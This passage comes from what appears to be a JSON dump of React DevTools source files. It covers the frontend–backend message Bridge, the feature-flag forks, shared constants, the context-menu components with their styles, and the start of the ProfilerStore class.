[OverrideValueAtPath],\n  profilingData: [ProfilingDataBackend],\n  reloadAndProfile: [ReloadAndProfilingParams],\n  renamePath: [RenamePath],\n  savedPreferences: [SavedPreferencesParams],\n  setTraceUpdatesEnabled: [boolean],\n  shutdown: [],\n  startInspectingHost: [boolean],\n  startProfiling: [StartProfilingParams],\n  stopInspectingHost: [],\n  scrollToHostInstance: [ScrollToHostInstance],\n  scrollTo: [{left: number, top: number, right: number, bottom: number}],\n  requestScrollPosition: [],\n  stopProfiling: [],\n  storeAsGlobal: [StoreAsGlobalParams],\n  updateComponentFilters: [Array<ComponentFilter>],\n  getEnvironmentNames: [],\n  updateHookSettings: [$ReadOnly<DevToolsHookSettings>],\n  viewAttributeSource: [ViewAttributeSourceParams],\n  viewElementSource: [ElementAndRendererID],\n\n  syncSelectionFromBuiltinElementsPanel: [],\n\n  // React Native style editor plug-in.\n  NativeStyleEditor_measure: [ElementAndRendererID],\n  NativeStyleEditor_renameAttribute: [NativeStyleEditor_RenameAttributeParams],\n  NativeStyleEditor_setValue: [NativeStyleEditor_SetValueParams],\n\n  // Temporarily support newer standalone front-ends sending commands to older embedded backends.\n  // We do this because React Native embeds the React DevTools backend,\n  // but cannot control which version of the frontend users use.\n  //\n  // Note that nothing in the newer backend actually listens to these events,\n  // but the new frontend still dispatches them (in case older backends are listening to them instead).\n  //\n  // Note that this approach does no support the combination of a newer backend with an older frontend.\n  // It would be more work to support both approaches (and not run handlers twice)\n  // so I chose to support the more likely/common scenario (and the one more difficult for an end user to \"fix\").\n  overrideContext: [OverrideValue],\n  overrideHookState: [OverrideHookState],\n  overrideProps: [OverrideValue],\n  overrideState: [OverrideValue],\n\n  getHookSettings: [],\n};\n\nclass Bridge<\n  OutgoingEvents: Object,\n  IncomingEvents: Object,\n> extends EventEmitter<IncomingEvents> {\n  _isShutdown: boolean = false;\n  _messageQueue: Array<any> = [];\n  _scheduledFlush: boolean = false;\n  _wall: Wall;\n  _wallUnlisten: Function | null = null;\n\n  constructor(wall: Wall) {\n    super();\n\n    this._wall = wall;\n\n    this._wallUnlisten =\n      wall.listen((message: Message) => {\n        if (message && message.event) {\n          (this: any).emit(message.event, message.payload);\n        }\n      }) || null;\n\n    // Temporarily support older standalone front-ends sending commands to newer embedded backends.\n    // We do this because React Native embeds the React DevTools backend,\n    // but cannot control which version of the frontend users use.\n    this.addListener('overrideValueAtPath', this.overrideValueAtPath);\n  }\n\n  // Listening directly to the wall isn't advised.\n  // It can be used to listen for legacy (v3) messages (since they use a different format).\n  get wall(): Wall {\n    return this._wall;\n  }\n\n  send<EventName: $Keys<OutgoingEvents>>(\n    event: EventName,\n    ...payload: OutgoingEvents[EventName]\n  ) {\n    if (this._isShutdown) {\n      console.warn(\n        `Cannot send message \"${event}\" through a Bridge that has been shutdown.`,\n      );\n      return;\n    }\n\n    // When we receive a message:\n    // - we add it to our queue of messages to be sent\n    // - if there hasn't been a message recently, we set a timer for 0 ms in\n    //   the future, allowing all messages created in the same tick to be sent\n    //   together\n    // - if there *has* been a message flushed in the last BATCH_DURATION ms\n    //   (or we're waiting for our setTimeout-0 to fire), then _timeoutID will\n    //   be set, and we'll simply add to the queue and wait for that\n    this._messageQueue.push(event, payload);\n    if (!this._scheduledFlush) {\n      this._scheduledFlush = true;\n      // $FlowFixMe\n      if (typeof devtoolsJestTestScheduler === 'function') {\n        // This exists just for our own jest tests.\n        // They're written in such a way that we can neither mock queueMicrotask\n        // because then we break React DOM and we can't not mock it because then\n        // we can't synchronously flush it. So they need to be rewritten.\n        // $FlowFixMe\n        devtoolsJestTestScheduler(this._flush); // eslint-disable-line no-undef\n      } else {\n        queueMicrotask(this._flush);\n      }\n    }\n  }\n\n  shutdown() {\n    if (this._isShutdown) {\n      console.warn('Bridge was already shutdown.');\n      return;\n    }\n\n    // Queue the shutdown outgoing message for subscribers.\n    this.emit('shutdown');\n    this.send('shutdown');\n\n    // Mark this bridge as destroyed, i.e. disable its public API.\n    this._isShutdown = true;\n\n    // Disable the API inherited from EventEmitter that can add more listeners and send more messages.\n    // $FlowFixMe[cannot-write] This property is not writable.\n    this.addListener = function () {};\n    // $FlowFixMe[cannot-write] This property is not writable.\n    this.emit = function () {};\n    // NOTE: There's also EventEmitter API like `on` and `prependListener` that we didn't add to our Flow type of EventEmitter.\n\n    // Unsubscribe this bridge incoming message listeners to be sure, and so they don't have to do that.\n    this.removeAllListeners();\n\n    // Stop accepting and emitting incoming messages from the wall.\n    const wallUnlisten = this._wallUnlisten;\n    if (wallUnlisten) {\n      wallUnlisten();\n    }\n\n    // Synchronously flush all queued outgoing messages.\n    // At this step the subscribers' code may run in this call stack.\n    do {\n      this._flush();\n    } while (this._messageQueue.length);\n  }\n\n  _flush: () => void = () => {\n    // This method is used after the bridge is marked as destroyed in shutdown sequence,\n    // so we do not bail out if the bridge marked as destroyed.\n    // It is a private method that the bridge ensures is only called at the right times.\n    try {\n      if (this._messageQueue.length) {\n        for (let i = 0; i < this._messageQueue.length; i += 2) {\n          // This only supports one argument in practice but the types suggests it should support multiple.\n          this._wall.send(this._messageQueue[i], this._messageQueue[i + 1][0]);\n        }\n        this._messageQueue.length = 0;\n      }\n    } finally {\n      // We set this at the end in case new messages are added synchronously above.\n      // They're already handled so they shouldn't queue more flushes.\n      this._scheduledFlush = false;\n    }\n  };\n\n  // Temporarily support older standalone backends by forwarding \"overrideValueAtPath\" commands\n  // to the older message types they may be listening to.\n  overrideValueAtPath: OverrideValueAtPath => void = ({\n    id,\n    path,\n    rendererID,\n    type,\n    value,\n  }: OverrideValueAtPath) => {\n    switch (type) {\n      case 'context':\n        this.send('overrideContext', {\n          id,\n          path,\n          rendererID,\n          wasForwarded: true,\n          value,\n        });\n        break;\n      case 'hooks':\n        this.send('overrideHookState', {\n          id,\n          path,\n          rendererID,\n          wasForwarded: true,\n          value,\n        });\n        break;\n      case 'props':\n        this.send('overrideProps', {\n          id,\n          path,\n          rendererID,\n          wasForwarded: true,\n          value,\n        });\n        break;\n      case 'state':\n        this.send('overrideState', {\n          id,\n          path,\n          rendererID,\n          wasForwarded: true,\n          value,\n        });\n        break;\n    }\n  };\n}\n\nexport type BackendBridge = Bridge<BackendEvents, FrontendEvents>;\nexport type FrontendBridge = Bridge<FrontendEvents, BackendEvents>;\n\nexport default Bridge;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/config/DevToolsFeatureFlags.core-fb.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/************************************************************************\n * This file is forked between different DevTools implementations.\n * It should never be imported directly!\n * It should always be imported from \"react-devtools-feature-flags\".\n ************************************************************************/\n\nexport const enableActivitySlices: boolean = false;\nexport const enableLogger: boolean = true;\nexport const enableStyleXFeatures: boolean = true;\nexport const isInternalFacebookBuild: boolean = true;\n\n/************************************************************************\n * Do not edit the code below.\n * It ensures this fork exports the same types as the default flags file.\n ************************************************************************/\n\nimport typeof * as FeatureFlagsType from './DevToolsFeatureFlags.default';\nimport typeof * as ExportsType from './DevToolsFeatureFlags.core-fb';\n\n// Flow magic to verify the exports of this file match the original version.\n((((null: any): ExportsType): FeatureFlagsType): ExportsType);\n"
  },
  {
    "path": "packages/react-devtools-shared/src/config/DevToolsFeatureFlags.core-oss.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/************************************************************************\n * This file is forked between different DevTools implementations.\n * It should never be imported directly!\n * It should always be imported from \"react-devtools-feature-flags\".\n ************************************************************************/\n\nexport const enableActivitySlices: boolean = __DEV__;\nexport const enableLogger: boolean = false;\nexport const enableStyleXFeatures: boolean = false;\nexport const isInternalFacebookBuild: boolean = false;\n\n/************************************************************************\n * Do not edit the code below.\n * It ensures this fork exports the same types as the default flags file.\n ************************************************************************/\n\nimport typeof * as FeatureFlagsType from './DevToolsFeatureFlags.default';\nimport typeof * as ExportsType from './DevToolsFeatureFlags.core-oss';\n\n// Flow magic to verify the exports of this file match the original version.\n((((null: any): ExportsType): FeatureFlagsType): ExportsType);\n"
  },
  {
    "path": "packages/react-devtools-shared/src/config/DevToolsFeatureFlags.default.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/************************************************************************\n * This file is forked between different DevTools implementations.\n * It should never be imported directly!\n * It should always be imported from \"react-devtools-feature-flags\".\n ************************************************************************/\n\nexport const enableActivitySlices: boolean = __DEV__;\nexport const enableLogger: boolean = false;\nexport const enableStyleXFeatures: boolean = false;\nexport const isInternalFacebookBuild: boolean = false;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/config/DevToolsFeatureFlags.extension-fb.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/************************************************************************\n * This file is forked between different DevTools implementations.\n * It should never be imported directly!\n * It should always be imported from \"react-devtools-feature-flags\".\n ************************************************************************/\n\nexport const enableActivitySlices: boolean = false;\nexport const enableLogger: boolean = true;\nexport const enableStyleXFeatures: boolean = true;\nexport const isInternalFacebookBuild: boolean = true;\n\n/************************************************************************\n * Do not edit the code below.\n * It ensures this fork exports the same types as the default flags file.\n ************************************************************************/\n\nimport typeof * as FeatureFlagsType from './DevToolsFeatureFlags.default';\nimport typeof * as ExportsType from './DevToolsFeatureFlags.extension-fb';\n\n// Flow magic to verify the exports of this file match the original version.\n((((null: any): ExportsType): FeatureFlagsType): ExportsType);\n"
  },
  {
    "path": "packages/react-devtools-shared/src/config/DevToolsFeatureFlags.extension-oss.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/************************************************************************\n * This file is forked between different DevTools implementations.\n * It should never be imported directly!\n * It should always be imported from \"react-devtools-feature-flags\".\n ************************************************************************/\n\nexport const enableActivitySlices: boolean = __DEV__;\nexport const enableLogger: boolean = false;\nexport const enableStyleXFeatures: boolean = false;\nexport const isInternalFacebookBuild: boolean = false;\n\n/************************************************************************\n * Do not edit the code below.\n * It ensures this fork exports the same types as the default flags file.\n ************************************************************************/\n\nimport typeof * as FeatureFlagsType from './DevToolsFeatureFlags.default';\nimport typeof * as ExportsType from './DevToolsFeatureFlags.extension-oss';\n\n// Flow magic to verify the exports of this file match the original version.\n((((null: any): ExportsType): FeatureFlagsType): ExportsType);\n"
  },
  {
    "path": "packages/react-devtools-shared/src/constants.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport const CHROME_WEBSTORE_EXTENSION_ID = 'fmkadmapgofadopljbjfkapdkoienihi';\nexport const INTERNAL_EXTENSION_ID = 'dnjnjgbfilfphmojnmhliehogmojhclc';\nexport const LOCAL_EXTENSION_ID = 'ikiahnapldjmdmpkmfhjdjilojjhgcbf';\n\n// Flip this flag to true to enable verbose console debug logging.\nexport const __DEBUG__ = false;\n\n// Flip this flag to true to enable performance.mark() and performance.measure() timings.\nexport const __PERFORMANCE_PROFILE__ = false;\n\nexport const TREE_OPERATION_ADD = 1;\nexport const TREE_OPERATION_REMOVE = 2;\nexport const TREE_OPERATION_REORDER_CHILDREN = 3;\nexport const TREE_OPERATION_UPDATE_TREE_BASE_DURATION = 4;\nexport const TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS = 5;\n// Removed `TREE_OPERATION_REMOVE_ROOT`\nexport const TREE_OPERATION_SET_SUBTREE_MODE = 7;\nexport const SUSPENSE_TREE_OPERATION_ADD = 8;\nexport const SUSPENSE_TREE_OPERATION_REMOVE = 9;\nexport const SUSPENSE_TREE_OPERATION_REORDER_CHILDREN = 10;\nexport const SUSPENSE_TREE_OPERATION_RESIZE = 11;\nexport const SUSPENSE_TREE_OPERATION_SUSPENDERS = 12;\nexport const TREE_OPERATION_APPLIED_ACTIVITY_SLICE_CHANGE = 13;\n\nexport const PROFILING_FLAG_BASIC_SUPPORT /*.             */ = 0b001;\nexport const PROFILING_FLAG_TIMELINE_SUPPORT /*           */ = 0b010;\nexport const PROFILING_FLAG_PERFORMANCE_TRACKS_SUPPORT /* */ = 0b100;\n\nexport const UNKNOWN_SUSPENDERS_NONE: UnknownSuspendersReason = 0; // If we had at least one debugInfo, then that might have been the reason.\nexport const UNKNOWN_SUSPENDERS_REASON_PRODUCTION: UnknownSuspendersReason = 1; // We're running in prod. That might be why we had unknown suspenders.\nexport const UNKNOWN_SUSPENDERS_REASON_OLD_VERSION: UnknownSuspendersReason = 2; // We're running an old version of React that doesn't have full coverage. That might be the reason.\nexport const UNKNOWN_SUSPENDERS_REASON_THROWN_PROMISE: UnknownSuspendersReason = 3; // If we're in dev, didn't detect and debug info and still suspended (other than CSS/image) the only reason is thrown promise.\n\nexport opaque type UnknownSuspendersReason = 0 | 1 | 2 | 3;\n\nexport const LOCAL_STORAGE_DEFAULT_TAB_KEY = 'React::DevTools::defaultTab';\nexport const LOCAL_STORAGE_COMPONENT_FILTER_PREFERENCES_KEY =\n  'React::DevTools::componentFilters';\nexport const SESSION_STORAGE_LAST_SELECTION_KEY =\n  'React::DevTools::lastSelection';\nexport const LOCAL_STORAGE_OPEN_IN_EDITOR_URL =\n  'React::DevTools::openInEditorUrl';\nexport const LOCAL_STORAGE_OPEN_IN_EDITOR_URL_PRESET =\n  'React::DevTools::openInEditorUrlPreset';\nexport const LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR =\n  'React::DevTools::alwaysOpenInEditor';\nexport const LOCAL_STORAGE_PARSE_HOOK_NAMES_KEY =\n  'React::DevTools::parseHookNames';\nexport const SESSION_STORAGE_RECORD_CHANGE_DESCRIPTIONS_KEY =\n  'React::DevTools::recordChangeDescriptions';\nexport const SESSION_STORAGE_RECORD_TIMELINE_KEY =\n  'React::DevTools::recordTimeline';\nexport const SESSION_STORAGE_RELOAD_AND_PROFILE_KEY =\n  'React::DevTools::reloadAndProfile';\nexport const LOCAL_STORAGE_BROWSER_THEME = 'React::DevTools::theme';\nexport const LOCAL_STORAGE_TRACE_UPDATES_ENABLED_KEY =\n  'React::DevTools::traceUpdatesEnabled';\nexport const LOCAL_STORAGE_SUPPORTS_PROFILING_KEY =\n  'React::DevTools::supportsProfiling';\n\nexport const PROFILER_EXPORT_VERSION = 5;\n\nexport const FIREFOX_CONSOLE_DIMMING_COLOR = 'color: rgba(124, 124, 124, 0.75)';\nexport const ANSI_STYLE_DIMMING_TEMPLATE = '\\x1b[2;38;2;124;124;124m%s\\x1b[0m';\nexport const ANSI_STYLE_DIMMING_TEMPLATE_WITH_COMPONENT_STACK =\n  '\\x1b[2;38;2;124;124;124m%s %o\\x1b[0m';\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/ContextMenu/ContextMenu.css",
    "content": ".ContextMenu {\n  position: absolute;\n  background-color: var(--color-context-background);\n  box-shadow: 1px 1px 2px var(--color-shadow);\n  border-radius: 0.25rem;\n  overflow: hidden;\n  z-index: 10000002;\n  user-select: none;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/ContextMenu/ContextMenu.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useLayoutEffect} from 'react';\nimport {createPortal} from 'react-dom';\n\nimport ContextMenuItem from './ContextMenuItem';\n\nimport type {\n  ContextMenuItem as ContextMenuItemType,\n  ContextMenuPosition,\n} from './types';\n\nimport styles from './ContextMenu.css';\n\nfunction repositionToFit(element: HTMLElement, x: number, y: number) {\n  const ownerWindow = element.ownerDocument.defaultView;\n  if (y + element.offsetHeight >= ownerWindow.innerHeight) {\n    if (y - element.offsetHeight > 0) {\n      element.style.top = `${y - element.offsetHeight}px`;\n    } else {\n      element.style.top = '0px';\n    }\n  } else {\n    element.style.top = `${y}px`;\n  }\n\n  if (x + element.offsetWidth >= ownerWindow.innerWidth) {\n    if (x - element.offsetWidth > 0) {\n      element.style.left = `${x - element.offsetWidth}px`;\n    } else {\n      element.style.left = '0px';\n    }\n  } else {\n    element.style.left = `${x}px`;\n  }\n}\n\ntype Props = {\n  anchorElementRef: {current: React.ElementRef<any> | null},\n  items: ContextMenuItemType[],\n  position: ContextMenuPosition,\n  hide: () => void,\n};\n\nexport default function ContextMenu({\n  anchorElementRef,\n  position,\n  items,\n  hide,\n}: Props): React.Node {\n  // This works on the assumption that ContextMenu component is only rendered when it should be shown\n  const anchor = anchorElementRef.current;\n\n  if (anchor == null) {\n    throw new Error(\n      'Attempted to open a context menu for an element, which is not mounted',\n    );\n  }\n\n  const ownerDocument = anchor.ownerDocument;\n  const portalContainer = ownerDocument.querySelector(\n    '[data-react-devtools-portal-root]',\n  );\n\n  const hideMenu = portalContainer == null || items.length === 0;\n  const menuRef = React.useRef<HTMLDivElement | null>(null);\n\n  useLayoutEffect(() => {\n    // Match the early-return condition below.\n    if (hideMenu) {\n      return;\n    }\n    const maybeMenu = menuRef.current;\n    if (maybeMenu === null) {\n      throw new Error(\n        \"Can't access context menu element. This is a bug in React DevTools.\",\n      );\n    }\n    const menu = (maybeMenu: HTMLDivElement);\n\n    function hideUnlessContains(event: Event) {\n      if (!menu.contains(((event.target: any): Node))) {\n        hide();\n      }\n    }\n\n    ownerDocument.addEventListener('mousedown', hideUnlessContains);\n    ownerDocument.addEventListener('touchstart', hideUnlessContains);\n    ownerDocument.addEventListener('keydown', hideUnlessContains);\n\n    const ownerWindow = ownerDocument.defaultView;\n    ownerWindow.addEventListener('resize', hide);\n\n    repositionToFit(menu, position.x, position.y);\n\n    return () => {\n      ownerDocument.removeEventListener('mousedown', hideUnlessContains);\n      ownerDocument.removeEventListener('touchstart', hideUnlessContains);\n      ownerDocument.removeEventListener('keydown', hideUnlessContains);\n\n      ownerWindow.removeEventListener('resize', hide);\n    };\n  }, [hideMenu]);\n\n  if (hideMenu) {\n    return null;\n  }\n\n  return createPortal(\n    <div className={styles.ContextMenu} ref={menuRef}>\n      {items.map(({onClick, content}, index) => (\n        <ContextMenuItem key={index} onClick={onClick} hide={hide}>\n          {content}\n        </ContextMenuItem>\n      ))}\n    </div>,\n    portalContainer,\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/ContextMenu/ContextMenuContainer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useImperativeHandle} from 'react';\n\nimport ContextMenu from './ContextMenu';\nimport useContextMenu from './useContextMenu';\n\nimport type {ContextMenuItem, ContextMenuRef} from './types';\n\ntype Props = {\n  anchorElementRef: {\n    current: React.ElementRef<any> | null,\n  },\n  items: ContextMenuItem[],\n  closedMenuStub?: React.Node | null,\n  ref?: ContextMenuRef,\n};\n\nexport default function ContextMenuContainer({\n  anchorElementRef,\n  items,\n  closedMenuStub = null,\n  ref,\n}: Props): React.Node {\n  const {shouldShow, position, hide} = useContextMenu(anchorElementRef);\n\n  useImperativeHandle(\n    ref,\n    () => ({\n      isShown() {\n        return shouldShow;\n      },\n      hide,\n    }),\n    [shouldShow, hide],\n  );\n\n  if (!shouldShow) {\n    return closedMenuStub;\n  }\n\n  return (\n    <ContextMenu\n      anchorElementRef={anchorElementRef}\n      position={position}\n      hide={hide}\n      items={items}\n    />\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/ContextMenu/ContextMenuItem.css",
    "content": ".ContextMenuItem {\n  display: flex;\n  align-items: center;\n  color: var(--color-context-text);\n  padding: 0.5rem 0.75rem;\n  cursor: default;\n  border-top: 1px solid var(--color-context-border);\n  font-family: var(--font-family-sans);\n  font-size: var(--font-size-sans-normal);\n}\n\n.ContextMenuItem:first-of-type {\n  border-top: none;\n}\n\n.ContextMenuItem:hover,\n.ContextMenuItem:focus {\n  outline: 0;\n  background-color: var(--color-context-background-hover);\n}\n\n.ContextMenuItem:active {\n  background-color: var(--color-context-background-selected);\n  color: var(--color-context-text-selected);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/ContextMenu/ContextMenuItem.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport styles from './ContextMenuItem.css';\n\ntype Props = {\n  children: React.Node,\n  onClick: () => void,\n  hide: () => void,\n};\n\nexport default function ContextMenuItem({\n  children,\n  onClick,\n  hide,\n}: Props): React.Node {\n  const handleClick = () => {\n    onClick();\n    hide();\n  };\n\n  return (\n    <div\n      className={styles.ContextMenuItem}\n      onClick={handleClick}\n      onTouchEnd={handleClick}>\n      {children}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/ContextMenu/types.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Node as ReactNode} from 'react';\n\nexport type ContextMenuItem = {\n  onClick: () => mixed,\n  content: ReactNode,\n};\n\n// Relative to [data-react-devtools-portal-root]\nexport type ContextMenuPosition = {\n  x: number,\n  y: number,\n};\n\nexport type ContextMenuHandle = {\n  isShown(): boolean,\n  hide(): void,\n};\n\nexport type ContextMenuComponent = component(\n  ref: React$RefSetter<ContextMenuHandle>,\n);\nexport type ContextMenuRef = {current: ContextMenuHandle | null};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/ContextMenu/useContextMenu.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useState, useEffect, useCallback} from 'react';\n\nimport type {ContextMenuPosition} from './types';\n\ntype Payload = {\n  shouldShow: boolean,\n  position: ContextMenuPosition | null,\n  hide: () => void,\n};\n\nexport default function useContextMenu(anchorElementRef: {\n  current: React.ElementRef<any> | null,\n}): Payload {\n  const [shouldShow, setShouldShow] = useState(false);\n  const [position, setPosition] = React.useState<ContextMenuPosition | null>(\n    null,\n  );\n\n  const hide = useCallback(() => {\n    setShouldShow(false);\n    setPosition(null);\n  }, []);\n\n  useEffect(() => {\n    const anchor = anchorElementRef.current;\n    if (anchor == null) return;\n\n    function handleAnchorContextMenu(e: MouseEvent) {\n      e.preventDefault();\n      e.stopPropagation();\n\n      const {pageX, pageY} = e;\n\n      const ownerDocument = anchor?.ownerDocument;\n      const portalContainer = ownerDocument?.querySelector(\n        '[data-react-devtools-portal-root]',\n      );\n\n      if (portalContainer == null) {\n        throw new Error(\n          \"DevTools tooltip root node not found: can't display the context menu\",\n        );\n      }\n\n      // `x` and `y` should be relative to the container, to which these context menus will be portaled\n      // we can't use just `pageX` or `pageY` for Fusebox integration, because RDT frontend is inlined with the whole document\n      // meaning that `pageY` will have an offset of 27, which is the tab bar height\n      // for the browser extension, these will equal to 0\n      const {top: containerTop, left: containerLeft} =\n        portalContainer.getBoundingClientRect();\n\n      setShouldShow(true);\n      setPosition({x: pageX - containerLeft, y: pageY - containerTop});\n    }\n\n    anchor.addEventListener('contextmenu', handleAnchorContextMenu);\n    return () => {\n      anchor.removeEventListener('contextmenu', handleAnchorContextMenu);\n    };\n  }, [anchorElementRef]);\n\n  return {shouldShow, position, hide};\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/ProfilerStore.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport EventEmitter from '../events';\nimport {prepareProfilingDataFrontendFromBackendAndStore} from './views/Profiler/utils';\nimport ProfilingCache from './ProfilingCache';\nimport Store from './store';\nimport {logEvent} from 'react-devtools-shared/src/Logger';\n\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type {ProfilingDataBackend} from 'react-devtools-shared/src/backend/types';\nimport type {\n  CommitDataFrontend,\n  ProfilingDataForRootFrontend,\n  ProfilingDataFrontend,\n  SnapshotNode,\n} from './views/Profiler/types';\n\nexport default class ProfilerStore extends EventEmitter<{\n  isProcessingData: [],\n  isProfiling: [],\n  profilingData: [],\n}> {\n  _bridge: FrontendBridge;\n\n  // Suspense cache for lazily calculating derived profiling data.\n  _cache: ProfilingCache;\n\n  // Temporary store of profiling data from the backend renderer(s).\n  // This data will be converted to the ProfilingDataFrontend format after being collected from all renderers.\n  _dataBackends: Array<ProfilingDataBackend> = [];\n\n  // Data from the most recently completed profiling session,\n  // or data that has been imported from a previously exported session.\n  // This object contains all necessary data to drive the Profiler UI interface,\n  // even though some of it is lazily parsed/derived via the ProfilingCache.\n  _dataFrontend: ProfilingDataFrontend | null = null;\n\n  // Snapshot of all attached renderer IDs.\n  // Once profiling is finished, this snapshot will be used to query renderers for profiling data.\n  //\n  // This map is initialized when profiling starts and updated when a new root is added while profiling;\n  // Upon completion, it is converted into the exportable ProfilingDataFrontend format.\n  _initialRendererIDs: Set<number> = new Set();\n\n  // Snapshot of the state of the main Store (including all roots) when profiling started.\n  // Once profiling is finished, this snapshot can be used along with \"operations\" messages emitted during profiling,\n  // to reconstruct the state of each root for each commit.\n  // It's okay to use a single root to store this information because node IDs are unique across all roots.\n  //\n  // This map is initialized when profiling starts and updated when a new root is added while profiling;\n  // Upon completion, it is converted into the exportable ProfilingDataFrontend format.\n  _initialSnapshotsByRootID: Map<number, Map<number, SnapshotNode>> = new Map();\n\n  // Map of root (id) to a list of tree mutation that occur during profiling.\n  // Once profiling is finished, these mutations can be used, along with the initial tree snapshots,\n  // to reconstruct the state of each root for each commit.\n  //\n  // This map is only updated while profiling is in progress;\n  // Upon completion, it is converted into the exportable ProfilingDataFrontend format.\n  _inProgressOperationsByRootID: Map<number, Array<Array<number>>> = new Map();\n\n  // The backend is currently profiling.\n  // When profiling is in progress, operations are stored so that we can later reconstruct past commit trees.\n  _isBackendProfiling: boolean = false;\n\n  // Mainly used for optimistic UI.\n  // This could be false, but at the same time _isBackendProfiling could be true\n  // for cases when Backend is busy serializing a chunky payload.\n  _isProfilingBasedOnUserInput: boolean = false;\n\n  // Tracks whether a specific renderer logged any profiling data during the most recent session.\n  _rendererIDsThatReportedProfilingData: Set<number> = new Set();\n\n  // After profiling, data is requested from each attached renderer using this queue.\n  // So long as this queue is not empty, the store is retrieving and processing profiling data from the backend.\n  _rendererQueue: Set<number> = new Set();\n\n  _store: Store;\n\n  constructor(\n    bridge: FrontendBridge,\n    store: Store,\n    defaultIsProfiling: boolean,\n  ) {\n    super();\n\n    this._bridge = bridge;\n    this._isBackendProfiling = defaultIsProfiling;\n    this._isProfilingBasedOnUserInput = defaultIsProfiling;\n    this._store = store;\n\n    bridge.addListener('operations', this.onBridgeOperations);\n    bridge.addListener('profilingData', this.onBridgeProfilingData);\n    bridge.addListener('profilingStatus', this.onProfilingStatus);\n    bridge.addListener('shutdown', this.onBridgeShutdown);\n\n    // It's possible that profiling has already started (e.g. \"reload and start profiling\")\n    // so the frontend needs to ask the backend for its status after mounting.\n    bridge.send('getProfilingStatus');\n\n    this._cache = new ProfilingCache(this);\n  }\n\n  getCommitData(rootID: number, commitIndex: number): CommitDataFrontend {\n    if (this._dataFrontend !== null) {\n      const dataForRoot = this._dataFrontend.dataForRoots.get(rootID);\n      if (dataForRoot != null) {\n        const commitDatum = dataForRoot.commitData[commitIndex];\n        if (commitDatum != null) {\n          return commitDatum;\n        }\n      }\n    }\n\n    throw Error(\n      `Could not find commit data for root \"${rootID}\" and commit \"${commitIndex}\"`,\n    );\n  }\n\n  getDataForRoot(rootID: number): ProfilingDataForRootFrontend {\n    if (this._dataFrontend !== null) {\n      const dataForRoot = this._dataFrontend.dataForRoots.get(rootID);\n      if (dataForRoot != null) {\n        return dataForRoot;\n      }\n    }\n\n    throw Error(`Could not find commit data for root \"${rootID}\"`);\n  }\n\n  // Profiling data has been recorded for at least one root.\n  get didRecordCommits(): boolean {\n    return (\n      this._dataFrontend !== null && this._dataFrontend.dataForRoots.size > 0\n    );\n  }\n\n  get isProcessingData(): boolean {\n    return this._rendererQueue.size > 0 || this._dataBackends.length > 0;\n  }\n\n  get isProfilingBasedOnUserInput(): boolean {\n    return this._isProfilingBasedOnUserInput;\n  }\n\n  get profilingCache(): ProfilingCache {\n    return this._cache;\n  }\n\n  get profilingData(): ProfilingDataFrontend | null {\n    return this._dataFrontend;\n  }\n  set profilingData(value: ProfilingDataFrontend | null): void {\n    if (this._isBackendProfiling) {\n      console.warn(\n        'Profiling data cannot be updated while profiling is in progress.',\n      );\n      return;\n    }\n\n    this._dataBackends.splice(0);\n    this._dataFrontend = value;\n    this._initialRendererIDs.clear();\n    this._initialSnapshotsByRootID.clear();\n    this._inProgressOperationsByRootID.clear();\n    this._cache.invalidate();\n\n    this.emit('profilingData');\n  }\n\n  clear(): void {\n    this._dataBackends.splice(0);\n    this._dataFrontend = null;\n    this._initialRendererIDs.clear();\n    this._initialSnapshotsByRootID.clear();\n    